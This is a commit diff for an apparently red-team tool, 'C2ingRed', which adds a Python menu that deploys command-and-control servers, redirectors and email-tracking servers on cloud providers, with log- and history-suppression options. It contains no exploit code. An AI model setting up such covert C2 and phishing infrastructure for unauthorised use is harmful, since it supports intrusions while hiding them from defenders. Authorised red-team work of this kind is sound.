Changed script to have a menu
This commit is contained in:
@@ -3,3 +3,4 @@ venv
|
|||||||
deployment*
|
deployment*
|
||||||
config.yml
|
config.yml
|
||||||
logs/
|
logs/
|
||||||
|
domainhunter/
|
||||||
+2
-2
@@ -9,7 +9,7 @@
|
|||||||
- vars.yaml
|
- vars.yaml
|
||||||
vars:
|
vars:
|
||||||
# Default values
|
# Default values
|
||||||
ssh_user: "{{ ssh_user | default('kali') }}"
|
ssh_user: "{{ ssh_user | default('root') }}"
|
||||||
aws_region: "{{ aws_region | default(aws_region_choices | random) }}"
|
aws_region: "{{ aws_region | default(aws_region_choices | random) }}"
|
||||||
instance_type: "{{ aws_instance_type | default('t2.medium') }}"
|
instance_type: "{{ aws_instance_type | default('t2.medium') }}"
|
||||||
deployment_id: "{{ deployment_id | default('') }}"
|
deployment_id: "{{ deployment_id | default('') }}"
|
||||||
@@ -57,7 +57,7 @@
|
|||||||
# Add AMI username mapping - improved with better detection
|
# Add AMI username mapping - improved with better detection
|
||||||
- name: Determine correct SSH user for the AMI
|
- name: Determine correct SSH user for the AMI
|
||||||
set_fact:
|
set_fact:
|
||||||
ami_ssh_user: "{{ 'kali' if (ami_id is defined and ami_id is search('-kali-')) or (ami_id is defined and ami_id == 'ami-061b17d332829ab1c') else 'ubuntu' }}"
|
ami_ssh_user: "{{ 'root' if (ami_id is defined and ami_id is search('-root-')) or (ami_id is defined and ami_id == 'ami-061b17d332829ab1c') else 'ubuntu' }}"
|
||||||
|
|
||||||
- name: Display AMI and user information for debugging
|
- name: Display AMI and user information for debugging
|
||||||
debug:
|
debug:
|
||||||
|
|||||||
+2
-2
@@ -9,7 +9,7 @@
|
|||||||
- vars.yaml
|
- vars.yaml
|
||||||
vars:
|
vars:
|
||||||
# Default values
|
# Default values
|
||||||
ssh_user: "{{ ssh_user | default('ubuntu') }}" # Changed from 'kali' to 'ubuntu'
|
ssh_user: "{{ ssh_user | default('ubuntu') }}" # Changed from 'root' to 'ubuntu'
|
||||||
aws_region: "{{ aws_region | default(aws_region_choices | random) }}"
|
aws_region: "{{ aws_region | default(aws_region_choices | random) }}"
|
||||||
instance_type: "{{ aws_instance_type | default('t2.micro') }}"
|
instance_type: "{{ aws_instance_type | default('t2.micro') }}"
|
||||||
deployment_id: "{{ deployment_id | default('') }}"
|
deployment_id: "{{ deployment_id | default('') }}"
|
||||||
@@ -205,7 +205,7 @@
|
|||||||
name: "redirector"
|
name: "redirector"
|
||||||
groups: "redirectors"
|
groups: "redirectors"
|
||||||
ansible_host: "{{ redirector_ip }}"
|
ansible_host: "{{ redirector_ip }}"
|
||||||
ansible_user: "ubuntu" # Change this from 'kali' to 'ubuntu'
|
ansible_user: "ubuntu" # Change this from 'root' to 'ubuntu'
|
||||||
ansible_ssh_private_key_file: "~/.ssh/{{ redirector_name }}.pem"
|
ansible_ssh_private_key_file: "~/.ssh/{{ redirector_name }}.pem"
|
||||||
ansible_ssh_common_args: "-o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -o IdentitiesOnly=yes"
|
ansible_ssh_common_args: "-o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -o IdentitiesOnly=yes"
|
||||||
ansible_python_interpreter: "/usr/bin/python3"
|
ansible_python_interpreter: "/usr/bin/python3"
|
||||||
|
|||||||
@@ -15,13 +15,487 @@ import logging
|
|||||||
import tempfile
|
import tempfile
|
||||||
from datetime import datetime
|
from datetime import datetime
|
||||||
|
|
||||||
|
debug_mode = True
|
||||||
|
deployment_id = None
|
||||||
|
|
||||||
|
# Color codes for terminal output
|
||||||
|
COLORS = {
|
||||||
|
"RESET": "\033[0m",
|
||||||
|
"RED": "\033[91m",
|
||||||
|
"GREEN": "\033[92m",
|
||||||
|
"YELLOW": "\033[93m",
|
||||||
|
"BLUE": "\033[94m",
|
||||||
|
"PURPLE": "\033[95m",
|
||||||
|
"CYAN": "\033[96m",
|
||||||
|
"WHITE": "\033[97m",
|
||||||
|
"GRAY": "\033[90m"
|
||||||
|
}
|
||||||
|
|
||||||
|
def clear_screen():
|
||||||
|
"""Clear the terminal screen"""
|
||||||
|
os.system('cls' if os.name == 'nt' else 'clear')
|
||||||
|
|
||||||
|
def print_banner():
|
||||||
|
"""Print the C2ingRed banner"""
|
||||||
|
banner = f"""
|
||||||
|
{COLORS['BLUE']}========================================================{COLORS['RESET']}
|
||||||
|
{COLORS['BLUE']} ██████╗██████╗ ██╗███╗ ██╗ ██████╗ ██████╗ ███████╗██████╗{COLORS['RESET']}
|
||||||
|
{COLORS['BLUE']} ██╔════╝╚════██╗██║████╗ ██║██╔════╝ ██╔══██╗██╔════╝██╔══██╗{COLORS['RESET']}
|
||||||
|
{COLORS['BLUE']} ██║ █████╔╝██║██╔██╗ ██║██║ ███╗██████╔╝█████╗ ██║ ██║{COLORS['RESET']}
|
||||||
|
{COLORS['BLUE']} ██║ ██╔═══╝ ██║██║╚██╗██║██║ ██║██╔══██╗██╔══╝ ██║ ██║{COLORS['RESET']}
|
||||||
|
{COLORS['BLUE']} ╚██████╗███████╗██║██║ ╚████║╚██████╔╝██║ ██║███████╗██████╔╝{COLORS['RESET']}
|
||||||
|
{COLORS['BLUE']} ╚═════╝╚══════╝╚═╝╚═╝ ╚═══╝ ╚═════╝ ╚═╝ ╚═╝╚══════╝╚═════╝{COLORS['RESET']}
|
||||||
|
{COLORS['BLUE']} {COLORS['RESET']}
|
||||||
|
{COLORS['BLUE']} Red Team Infrastructure Deployment Tool {COLORS['RESET']}
|
||||||
|
{COLORS['BLUE']}========================================================{COLORS['RESET']}
|
||||||
|
"""
|
||||||
|
print(banner)
|
||||||
|
|
||||||
|
def main_menu():
|
||||||
|
"""Display the main menu and handle user selection"""
|
||||||
|
global debug_mode
|
||||||
|
while True:
|
||||||
|
clear_screen()
|
||||||
|
print_banner()
|
||||||
|
print(f"{COLORS['WHITE']}MAIN MENU{COLORS['RESET']}")
|
||||||
|
print(f"{COLORS['WHITE']}=========={COLORS['RESET']}")
|
||||||
|
print(f"1) Deploy Full C2 Infrastructure")
|
||||||
|
print(f"2) Deploy Basic C2 Infrastructure")
|
||||||
|
print(f"3) Deploy C2 Server")
|
||||||
|
print(f"4) Deploy Redirector")
|
||||||
|
print(f"5) Deploy Email Tracking Server")
|
||||||
|
print(f"6) Deploy Payload Server {COLORS['GRAY']}*UNDER-CONSTRUCTION*{COLORS['RESET']}")
|
||||||
|
print(f"7) Deploy Phishing Server {COLORS['GRAY']}*UNDER-CONSTRUCTION*{COLORS['RESET']}")
|
||||||
|
print(f"8) Deploy Logging Server {COLORS['GRAY']}*UNDER-CONSTRUCTION*{COLORS['RESET']}")
|
||||||
|
print(f"9) Deploy Share-Drive {COLORS['GRAY']}*UNDER-CONSTRUCTION*{COLORS['RESET']}")
|
||||||
|
print(f"10) Deploy Hashtopolis {COLORS['GRAY']}*UNDER-CONSTRUCTION*{COLORS['RESET']}")
|
||||||
|
print(f"11) Custom Deployment")
|
||||||
|
print(f"12) Tools")
|
||||||
|
print(f"13) Debug Mode: {COLORS['GREEN'] if debug_mode else COLORS['RED']}{debug_mode}{COLORS['RESET']}")
|
||||||
|
print(f"")
|
||||||
|
print(f"99) Exit")
|
||||||
|
|
||||||
|
choice = input("\nSelect an option: ")
|
||||||
|
|
||||||
|
if choice == "1":
|
||||||
|
deploy_full_c2()
|
||||||
|
elif choice == "2":
|
||||||
|
deploy_basic_c2()
|
||||||
|
elif choice == "3":
|
||||||
|
deploy_c2_server()
|
||||||
|
elif choice == "4":
|
||||||
|
redirector_menu()
|
||||||
|
elif choice == "5":
|
||||||
|
deploy_tracker()
|
||||||
|
elif choice in ["6", "7", "8", "9", "10"]:
|
||||||
|
print(f"\n{COLORS['YELLOW']}This feature is currently under construction.{COLORS['RESET']}")
|
||||||
|
input("\nPress Enter to continue...")
|
||||||
|
elif choice == "11":
|
||||||
|
custom_deployment()
|
||||||
|
elif choice == "12":
|
||||||
|
tools_menu()
|
||||||
|
elif choice == "13":
|
||||||
|
toggle_debug_mode()
|
||||||
|
elif choice == "99":
|
||||||
|
print(f"\n{COLORS['GREEN']}Exiting C2ingRed. Goodbye!{COLORS['RESET']}")
|
||||||
|
sys.exit(0)
|
||||||
|
else:
|
||||||
|
print(f"\n{COLORS['RED']}Invalid option. Please try again.{COLORS['RESET']}")
|
||||||
|
time.sleep(1)
|
||||||
|
|
||||||
|
def toggle_debug_mode():
|
||||||
|
"""Toggle debug mode on/off"""
|
||||||
|
global debug_mode
|
||||||
|
debug_mode = not debug_mode
|
||||||
|
# Set environment variables for more verbose Ansible output
|
||||||
|
if debug_mode:
|
||||||
|
os.environ["ANSIBLE_VERBOSITY"] = "3"
|
||||||
|
else:
|
||||||
|
os.environ.pop("ANSIBLE_VERBOSITY", None)
|
||||||
|
print(f"\n{COLORS['GREEN']}Debug mode {'enabled' if debug_mode else 'disabled'}.{COLORS['RESET']}")
|
||||||
|
time.sleep(1)
|
||||||
|
|
||||||
|
def redirector_menu():
|
||||||
|
"""Display the redirector submenu and handle user selection"""
|
||||||
|
while True:
|
||||||
|
clear_screen()
|
||||||
|
print_banner()
|
||||||
|
print(f"{COLORS['WHITE']}REDIRECTOR MENU{COLORS['RESET']}")
|
||||||
|
print(f"{COLORS['WHITE']}================{COLORS['RESET']}")
|
||||||
|
print(f"1) HTTPS Redirector")
|
||||||
|
print(f"2) DNS Redirector {COLORS['GRAY']}*UNDER-CONSTRUCTION*{COLORS['RESET']}")
|
||||||
|
print(f"3) SMTP Redirector {COLORS['GRAY']}*UNDER-CONSTRUCTION*{COLORS['RESET']}")
|
||||||
|
print(f"99) Return to Main Menu")
|
||||||
|
|
||||||
|
choice = input("\nSelect an option: ")
|
||||||
|
|
||||||
|
if choice == "1":
|
||||||
|
deploy_https_redirector()
|
||||||
|
elif choice in ["2", "3"]:
|
||||||
|
print(f"\n{COLORS['YELLOW']}This feature is currently under construction.{COLORS['RESET']}")
|
||||||
|
input("\nPress Enter to continue...")
|
||||||
|
elif choice == "99":
|
||||||
|
return
|
||||||
|
else:
|
||||||
|
print(f"\n{COLORS['RED']}Invalid option. Please try again.{COLORS['RESET']}")
|
||||||
|
time.sleep(1)
|
||||||
|
|
||||||
|
def tools_menu():
|
||||||
|
"""Display the tools submenu and handle user selection"""
|
||||||
|
while True:
|
||||||
|
clear_screen()
|
||||||
|
print_banner()
|
||||||
|
print(f"{COLORS['WHITE']}TOOLS MENU{COLORS['RESET']}")
|
||||||
|
print(f"{COLORS['WHITE']}=========={COLORS['RESET']}")
|
||||||
|
print(f"1) Distributed Amass Scanning {COLORS['GRAY']}*UNDER-CONSTRUCTION*{COLORS['RESET']}")
|
||||||
|
print(f"2) PLACEHOLDER {COLORS['GRAY']}*UNDER-CONSTRUCTION*{COLORS['RESET']}")
|
||||||
|
print(f"99) Return to Main Menu")
|
||||||
|
|
||||||
|
choice = input("\nSelect an option: ")
|
||||||
|
|
||||||
|
if choice in ["1", "2"]:
|
||||||
|
print(f"\n{COLORS['YELLOW']}This feature is currently under construction.{COLORS['RESET']}")
|
||||||
|
input("\nPress Enter to continue...")
|
||||||
|
elif choice == "99":
|
||||||
|
return
|
||||||
|
else:
|
||||||
|
print(f"\n{COLORS['RED']}Invalid option. Please try again.{COLORS['RESET']}")
|
||||||
|
time.sleep(1)
|
||||||
|
|
||||||
|
def deploy_full_c2():
|
||||||
|
"""Deploy a complete C2 infrastructure with all components"""
|
||||||
|
config = gather_common_parameters()
|
||||||
|
if not config:
|
||||||
|
return
|
||||||
|
|
||||||
|
config['redirector_only'] = False
|
||||||
|
config['c2_only'] = False
|
||||||
|
config['deploy_tracker'] = True
|
||||||
|
config['integrated_tracker'] = False
|
||||||
|
|
||||||
|
execute_deployment(config)
|
||||||
|
|
||||||
|
def deploy_basic_c2():
|
||||||
|
"""Deploy a basic C2 infrastructure with C2 server and redirector"""
|
||||||
|
config = gather_common_parameters()
|
||||||
|
if not config:
|
||||||
|
return
|
||||||
|
|
||||||
|
config['redirector_only'] = False
|
||||||
|
config['c2_only'] = False
|
||||||
|
config['deploy_tracker'] = False
|
||||||
|
config['integrated_tracker'] = False
|
||||||
|
|
||||||
|
execute_deployment(config)
|
||||||
|
|
||||||
|
def deploy_c2_server():
|
||||||
|
"""Deploy only the C2 server"""
|
||||||
|
config = gather_common_parameters()
|
||||||
|
if not config:
|
||||||
|
return
|
||||||
|
|
||||||
|
config['redirector_only'] = False
|
||||||
|
config['c2_only'] = True
|
||||||
|
config['deploy_tracker'] = False
|
||||||
|
config['integrated_tracker'] = False
|
||||||
|
|
||||||
|
execute_deployment(config)
|
||||||
|
|
||||||
|
def deploy_https_redirector():
|
||||||
|
"""Deploy only the HTTPS redirector"""
|
||||||
|
config = gather_common_parameters()
|
||||||
|
if not config:
|
||||||
|
return
|
||||||
|
|
||||||
|
config['redirector_only'] = True
|
||||||
|
config['c2_only'] = False
|
||||||
|
config['deploy_tracker'] = False
|
||||||
|
config['integrated_tracker'] = False
|
||||||
|
|
||||||
|
execute_deployment(config)
|
||||||
|
|
||||||
|
def deploy_tracker():
|
||||||
|
"""Deploy an email tracking server"""
|
||||||
|
config = gather_common_parameters()
|
||||||
|
if not config:
|
||||||
|
return
|
||||||
|
|
||||||
|
config['redirector_only'] = False
|
||||||
|
config['c2_only'] = False
|
||||||
|
config['deploy_tracker'] = True
|
||||||
|
config['integrated_tracker'] = False
|
||||||
|
|
||||||
|
execute_deployment(config)
|
||||||
|
|
||||||
|
def custom_deployment():
|
||||||
|
"""Run the full interactive deployment wizard"""
|
||||||
|
deployment_id = generate_deployment_id()
|
||||||
|
config = interactive_setup(deployment_id)
|
||||||
|
if config:
|
||||||
|
execute_deployment(config)
|
||||||
|
|
||||||
|
def initialize_deployment():
|
||||||
|
"""Initialize global deployment ID"""
|
||||||
|
global deployment_id
|
||||||
|
deployment_id = generate_deployment_id()
|
||||||
|
return deployment_id
|
||||||
|
|
||||||
|
def gather_common_parameters():
|
||||||
|
"""Collect common parameters needed for deployments"""
|
||||||
|
global debug_mode, deployment_id
|
||||||
|
config = {'deployment_id': deployment_id}
|
||||||
|
config['debug'] = debug_mode
|
||||||
|
|
||||||
|
# Get provider
|
||||||
|
provider = select_provider()
|
||||||
|
if not provider:
|
||||||
|
return None
|
||||||
|
config['provider'] = provider
|
||||||
|
|
||||||
|
# Load provider-specific vars
|
||||||
|
provider_vars = load_vars_file(provider)
|
||||||
|
|
||||||
|
# Get provider-specific credentials
|
||||||
|
if provider == "aws":
|
||||||
|
aws_creds = get_aws_credentials(provider_vars)
|
||||||
|
if not aws_creds:
|
||||||
|
return None
|
||||||
|
config.update(aws_creds)
|
||||||
|
elif provider == "linode":
|
||||||
|
linode_token = get_linode_token(provider_vars)
|
||||||
|
if not linode_token:
|
||||||
|
return None
|
||||||
|
config['linode_token'] = linode_token
|
||||||
|
elif provider == "flokinet":
|
||||||
|
flokinet_ips = get_flokinet_ips(provider_vars)
|
||||||
|
if not flokinet_ips:
|
||||||
|
return None
|
||||||
|
config.update(flokinet_ips)
|
||||||
|
|
||||||
|
# Ask if user wants multi-region or cross-provider deployment
|
||||||
|
multi_region = input(f"\n{COLORS['YELLOW']}Do you want to deploy redirector and C2 in different regions? (y/n) [default: n]: {COLORS['RESET']}").lower() == 'y'
|
||||||
|
|
||||||
|
if multi_region:
|
||||||
|
if provider != "flokinet": # FlokiNET doesn't support region selection
|
||||||
|
# Get region for C2
|
||||||
|
c2_region = select_region(provider, provider_vars, "C2 server")
|
||||||
|
if provider == "aws":
|
||||||
|
config['c2_region'] = c2_region
|
||||||
|
elif provider == "linode":
|
||||||
|
config['c2_region'] = c2_region
|
||||||
|
|
||||||
|
# Get region for redirector
|
||||||
|
redirector_region = select_region(provider, provider_vars, "redirector")
|
||||||
|
if provider == "aws":
|
||||||
|
config['redirector_region'] = redirector_region
|
||||||
|
elif provider == "linode":
|
||||||
|
config['redirector_region'] = redirector_region
|
||||||
|
else:
|
||||||
|
# Get single region for both
|
||||||
|
region = select_region(provider, provider_vars)
|
||||||
|
if provider == "aws":
|
||||||
|
config['aws_region'] = region
|
||||||
|
elif provider == "linode":
|
||||||
|
config['linode_region'] = region
|
||||||
|
else:
|
||||||
|
config['region'] = region
|
||||||
|
|
||||||
|
# Get domain
|
||||||
|
domain = input(f"\nEnter domain name [default: {provider_vars.get('domain', 'example.com')}]: ") or provider_vars.get('domain', 'example.com')
|
||||||
|
config['domain'] = domain
|
||||||
|
|
||||||
|
# Get subdomains
|
||||||
|
redirector_subdomain = input(f"\nEnter redirector subdomain [default: cdn]: ") or "cdn"
|
||||||
|
config['redirector_subdomain'] = redirector_subdomain
|
||||||
|
|
||||||
|
c2_subdomain = input(f"Enter C2 server subdomain [default: mail]: ") or "mail"
|
||||||
|
config['c2_subdomain'] = c2_subdomain
|
||||||
|
|
||||||
|
# Get email for Let's Encrypt
|
||||||
|
default_email = f"admin@{domain}"
|
||||||
|
email = input(f"\nEnter email for Let's Encrypt [default: {default_email}]: ") or default_email
|
||||||
|
config['letsencrypt_email'] = email
|
||||||
|
|
||||||
|
# Set SSH key
|
||||||
|
config['ssh_key'] = generate_ssh_key(deployment_id)
|
||||||
|
config['ssh_key_path'] = f"{config['ssh_key']}.pub"
|
||||||
|
|
||||||
|
# Set consistent resource names based on deployment ID
|
||||||
|
config['redirector_name'] = f"r-{deployment_id}"
|
||||||
|
config['c2_name'] = f"s-{deployment_id}"
|
||||||
|
config['tracker_name'] = f"t-{deployment_id}"
|
||||||
|
|
||||||
|
# Security options
|
||||||
|
print("\nSecurity options:")
|
||||||
|
config['disable_history'] = input("Disable command history? (y/n) [default: y]: ").lower() != 'n'
|
||||||
|
config['secure_memory'] = input("Enable secure memory settings? (y/n) [default: y]: ").lower() != 'n'
|
||||||
|
config['zero_logs'] = input("Enable zero-logs configuration? (y/n) [default: y]: ").lower() != 'n'
|
||||||
|
|
||||||
|
return config
|
||||||
|
|
||||||
|
def select_provider():
|
||||||
|
"""Let the user select a cloud provider"""
|
||||||
|
print("\nAvailable cloud providers:")
|
||||||
|
for i, provider in enumerate(PROVIDERS, 1):
|
||||||
|
print(f" {i}. {provider.capitalize()}")
|
||||||
|
|
||||||
|
while True:
|
||||||
|
try:
|
||||||
|
provider_choice = input("\nSelect a provider (1-3 or 99 to cancel): ")
|
||||||
|
if provider_choice == "99":
|
||||||
|
return None
|
||||||
|
|
||||||
|
provider_choice = int(provider_choice)
|
||||||
|
if 1 <= provider_choice <= len(PROVIDERS):
|
||||||
|
return PROVIDERS[provider_choice - 1]
|
||||||
|
else:
|
||||||
|
print(f"{COLORS['RED']}Please enter a number between 1 and {len(PROVIDERS)}{COLORS['RESET']}")
|
||||||
|
except ValueError:
|
||||||
|
print(f"{COLORS['RED']}Please enter a valid number{COLORS['RESET']}")
|
||||||
|
|
||||||
|
def get_aws_credentials(provider_vars):
|
||||||
|
"""Get AWS credentials from user or vars file"""
|
||||||
|
default_aws_key = provider_vars.get('aws_access_key', '')
|
||||||
|
default_aws_secret = provider_vars.get('aws_secret_key', '')
|
||||||
|
|
||||||
|
aws_key = input(f"\nAWS Access Key [{'*****' if default_aws_key else 'leave blank to use AWS CLI profile'}]: ") or default_aws_key
|
||||||
|
aws_secret = input(f"AWS Secret Key [{'*****' if default_aws_secret else 'leave blank to use AWS CLI profile'}]: ") or default_aws_secret
|
||||||
|
|
||||||
|
return {
|
||||||
|
'aws_access_key': aws_key,
|
||||||
|
'aws_secret_key': aws_secret
|
||||||
|
}
|
||||||
|
|
||||||
|
def get_linode_token(provider_vars):
|
||||||
|
"""Get Linode API token from user or vars file"""
|
||||||
|
default_token = provider_vars.get('linode_token', '')
|
||||||
|
token = input(f"\nLinode API Token [{'*****' if default_token else 'required'}]: ") or default_token
|
||||||
|
|
||||||
|
if not token:
|
||||||
|
print(f"{COLORS['RED']}Linode API token is required{COLORS['RESET']}")
|
||||||
|
input("\nPress Enter to continue...")
|
||||||
|
return None
|
||||||
|
|
||||||
|
return token
|
||||||
|
|
||||||
|
def get_flokinet_ips(provider_vars):
|
||||||
|
"""Get FlokiNET server IPs from user or vars file"""
|
||||||
|
default_redirector_ip = provider_vars.get('redirector_ip', '')
|
||||||
|
default_c2_ip = provider_vars.get('c2_ip', '')
|
||||||
|
|
||||||
|
redirector_ip = input(f"\nFlokiNET Redirector IP Address [default: {default_redirector_ip}]: ") or default_redirector_ip
|
||||||
|
c2_ip = input(f"FlokiNET C2 Server IP Address [default: {default_c2_ip}]: ") or default_c2_ip
|
||||||
|
|
||||||
|
return {
|
||||||
|
'flokinet_redirector_ip': redirector_ip,
|
||||||
|
'flokinet_c2_ip': c2_ip
|
||||||
|
}
|
||||||
|
|
||||||
|
def select_region(provider, provider_vars, component=None):
|
||||||
|
"""Let the user select a region for deployment"""
|
||||||
|
component_str = f" for {component}" if component else ""
|
||||||
|
|
||||||
|
if provider == "aws":
|
||||||
|
regions = provider_vars.get('aws_region_choices', [])
|
||||||
|
elif provider == "linode":
|
||||||
|
regions = provider_vars.get('region_choices', [])
|
||||||
|
else:
|
||||||
|
return None
|
||||||
|
|
||||||
|
if not regions:
|
||||||
|
print(f"{COLORS['YELLOW']}No regions found for {provider}, using random selection{COLORS['RESET']}")
|
||||||
|
return None
|
||||||
|
|
||||||
|
print(f"\nAvailable {provider.capitalize()} regions{component_str}:")
|
||||||
|
for i, region in enumerate(regions, 1):
|
||||||
|
print(f" {i}. {region}")
|
||||||
|
|
||||||
|
region_input = input(f"\nSelect region{component_str} (number or leave blank for random): ")
|
||||||
|
|
||||||
|
if not region_input:
|
||||||
|
return random.choice(regions)
|
||||||
|
|
||||||
|
try:
|
||||||
|
region_choice = int(region_input)
|
||||||
|
if 1 <= region_choice <= len(regions):
|
||||||
|
return regions[region_choice - 1]
|
||||||
|
else:
|
||||||
|
print(f"{COLORS['RED']}Invalid choice, using random region{COLORS['RESET']}")
|
||||||
|
return random.choice(regions)
|
||||||
|
except ValueError:
|
||||||
|
print(f"{COLORS['RED']}Invalid input, using random region{COLORS['RESET']}")
|
||||||
|
return random.choice(regions)
|
||||||
|
|
||||||
|
def ensure_full_cleanup(config, success=False):
|
||||||
|
"""Ensure all resources are properly cleaned up on failure"""
|
||||||
|
if success:
|
||||||
|
# Only cleanup SSH keys on successful deployment
|
||||||
|
if hasattr(generate_ssh_key, 'generated_keys') and not config.get('keep_ssh_keys', False):
|
||||||
|
for key_path in generate_ssh_key.generated_keys:
|
||||||
|
# Only remove keys we generated for this deployment
|
||||||
|
if config.get('deployment_id') and f"_{config['deployment_id']}" in key_path:
|
||||||
|
try:
|
||||||
|
if os.path.exists(key_path):
|
||||||
|
os.remove(key_path)
|
||||||
|
if os.path.exists(f"{key_path}.pub"):
|
||||||
|
os.remove(f"{key_path}.pub")
|
||||||
|
logging.info(f"Removed temporary SSH key: {key_path}")
|
||||||
|
except Exception as e:
|
||||||
|
logging.error(f"Failed to remove SSH key {key_path}: {e}")
|
||||||
|
return
|
||||||
|
|
||||||
|
# For failed deployments, clean up all resources
|
||||||
|
try:
|
||||||
|
cleanup_resources(config, interactive=True)
|
||||||
|
except Exception as e:
|
||||||
|
logging.error(f"Error during resource cleanup: {e}")
|
||||||
|
|
||||||
|
# Always clean up SSH keys on failure
|
||||||
|
if hasattr(generate_ssh_key, 'generated_keys'):
|
||||||
|
for key_path in generate_ssh_key.generated_keys:
|
||||||
|
try:
|
||||||
|
if os.path.exists(key_path):
|
||||||
|
os.remove(key_path)
|
||||||
|
if os.path.exists(f"{key_path}.pub"):
|
||||||
|
os.remove(f"{key_path}.pub")
|
||||||
|
logging.info(f"Removed temporary SSH key: {key_path}")
|
||||||
|
except Exception as e:
|
||||||
|
logging.error(f"Failed to remove SSH key {key_path}: {e}")
|
||||||
|
|
||||||
|
def execute_deployment(config):
|
||||||
|
"""Execute the deployment with the given configuration"""
|
||||||
|
clear_screen()
|
||||||
|
print_banner()
|
||||||
|
print(f"\n{COLORS['GREEN']}Starting deployment with the following configuration:{COLORS['RESET']}")
|
||||||
|
|
||||||
|
# Print configuration (excluding sensitive data)
|
||||||
|
for key, value in config.items():
|
||||||
|
if key not in ['aws_secret_key', 'linode_token', 'smtp_auth_pass']:
|
||||||
|
print(f" {key}: {value}")
|
||||||
|
|
||||||
|
confirm = input(f"\n{COLORS['YELLOW']}Proceed with deployment? (y/n): {COLORS['RESET']}").lower()
|
||||||
|
if confirm != 'y':
|
||||||
|
print(f"\n{COLORS['YELLOW']}Deployment cancelled.{COLORS['RESET']}")
|
||||||
|
input("\nPress Enter to return to menu...")
|
||||||
|
return
|
||||||
|
|
||||||
|
# Call the existing deployment function
|
||||||
|
success = deploy_infrastructure(config)
|
||||||
|
|
||||||
|
if success:
|
||||||
|
print(f"\n{COLORS['GREEN']}Deployment completed successfully!{COLORS['RESET']}")
|
||||||
|
else:
|
||||||
|
print(f"\n{COLORS['RED']}Deployment failed.{COLORS['RESET']}")
|
||||||
|
|
||||||
|
input("\nPress Enter to return to menu...")
|
||||||
|
|
||||||
# Disable Ansible host key checking
|
# Disable Ansible host key checking
|
||||||
os.environ["ANSIBLE_HOST_KEY_CHECKING"] = "False"
|
os.environ["ANSIBLE_HOST_KEY_CHECKING"] = "False"
|
||||||
|
|
||||||
# Constants for providers
|
# Constants for providers
|
||||||
PROVIDERS = ["aws", "linode", "flokinet"]
|
PROVIDERS = ["aws", "linode", "flokinet"]
|
||||||
DEFAULT_SSH_USER = {
|
DEFAULT_SSH_USER = {
|
||||||
"aws": "kali",
|
"aws": "root",
|
||||||
"linode": "root",
|
"linode": "root",
|
||||||
"flokinet": "root"
|
"flokinet": "root"
|
||||||
}
|
}
|
||||||
@@ -452,12 +926,8 @@ def load_vars_file(provider):
|
|||||||
|
|
||||||
return {}
|
return {}
|
||||||
|
|
||||||
def generate_random_string(length=8):
|
|
||||||
"""Generate a random string of letters and digits."""
|
|
||||||
return ''.join(random.choices(string.ascii_lowercase + string.digits, k=length))
|
|
||||||
|
|
||||||
def generate_ssh_key(deployment_id=None):
|
def generate_ssh_key(deployment_id=None):
|
||||||
"""Generate an SSH key for deployment"""
|
"""Generate an SSH key for deployment with proper tracking for cleanup"""
|
||||||
# Use deployment_id if provided, otherwise generate random suffix
|
# Use deployment_id if provided, otherwise generate random suffix
|
||||||
if deployment_id:
|
if deployment_id:
|
||||||
key_name = f"c2deploy_{deployment_id}"
|
key_name = f"c2deploy_{deployment_id}"
|
||||||
@@ -471,6 +941,13 @@ def generate_ssh_key(deployment_id=None):
|
|||||||
private_key_path = os.path.join(ssh_dir, key_name)
|
private_key_path = os.path.join(ssh_dir, key_name)
|
||||||
public_key_path = f"{private_key_path}.pub"
|
public_key_path = f"{private_key_path}.pub"
|
||||||
|
|
||||||
|
# Add key to global cleanup tracking dict if it doesn't exist
|
||||||
|
if not hasattr(generate_ssh_key, 'generated_keys'):
|
||||||
|
generate_ssh_key.generated_keys = set()
|
||||||
|
|
||||||
|
generate_ssh_key.generated_keys.add(private_key_path)
|
||||||
|
logging.info(f"Added {private_key_path} to cleanup tracking (total: {len(generate_ssh_key.generated_keys)})")
|
||||||
|
|
||||||
logging.info(f"Generating SSH key: {key_name}")
|
logging.info(f"Generating SSH key: {key_name}")
|
||||||
try:
|
try:
|
||||||
subprocess.run(
|
subprocess.run(
|
||||||
@@ -619,6 +1096,33 @@ def select_random_region(config):
|
|||||||
logging.info(f"Selected random {provider} region: {region}")
|
logging.info(f"Selected random {provider} region: {region}")
|
||||||
return region
|
return region
|
||||||
|
|
||||||
|
def create_consistent_resource_names(config):
|
||||||
|
"""Ensure all resources have consistent naming based on deployment ID"""
|
||||||
|
deployment_id = config.get('deployment_id')
|
||||||
|
if not deployment_id:
|
||||||
|
logging.error("No deployment ID found in config")
|
||||||
|
return config
|
||||||
|
|
||||||
|
# Set consistent names for all resources
|
||||||
|
config['redirector_name'] = f"r-{deployment_id}"
|
||||||
|
config['c2_name'] = f"s-{deployment_id}"
|
||||||
|
config['tracker_name'] = f"t-{deployment_id}"
|
||||||
|
|
||||||
|
# Ensure SSH key follows same pattern
|
||||||
|
if not config.get('ssh_key'):
|
||||||
|
config['ssh_key'] = os.path.expanduser(f"~/.ssh/c2deploy_{deployment_id}")
|
||||||
|
|
||||||
|
# Set consistent public key path
|
||||||
|
if config.get('ssh_key'):
|
||||||
|
config['ssh_key_path'] = f"{config['ssh_key']}.pub"
|
||||||
|
|
||||||
|
# Set other resource names with the same deployment ID
|
||||||
|
config['vpc_name'] = f"vpc-{deployment_id}"
|
||||||
|
config['sg_name'] = f"sg-{deployment_id}"
|
||||||
|
|
||||||
|
logging.info(f"Set consistent resource names with deployment ID: {deployment_id}")
|
||||||
|
return config
|
||||||
|
|
||||||
def create_inventory_file(config, deployment_type):
|
def create_inventory_file(config, deployment_type):
|
||||||
"""Create a temporary inventory file for Ansible based on deployment type"""
|
"""Create a temporary inventory file for Ansible based on deployment type"""
|
||||||
inventory_content = []
|
inventory_content = []
|
||||||
@@ -1471,7 +1975,7 @@ def generate_deployment_info(config, success=True):
|
|||||||
info.append("")
|
info.append("")
|
||||||
info.append("CLEANUP COMMAND")
|
info.append("CLEANUP COMMAND")
|
||||||
info.append("---------------")
|
info.append("---------------")
|
||||||
info.append(f"python3 deploy.py --provider {config.get('provider', 'PROVIDER')} --teardown")
|
info.append(f"python3 deploy.py --provider {config.get('provider', 'PROVIDER')} --c2-name {config.get('c2_name', 'C2_NAME')} --redirector-name {config.get('redirector_name', 'REDIRECTOR_NAME')} --teardown")
|
||||||
if config.get('provider') == 'linode':
|
if config.get('provider') == 'linode':
|
||||||
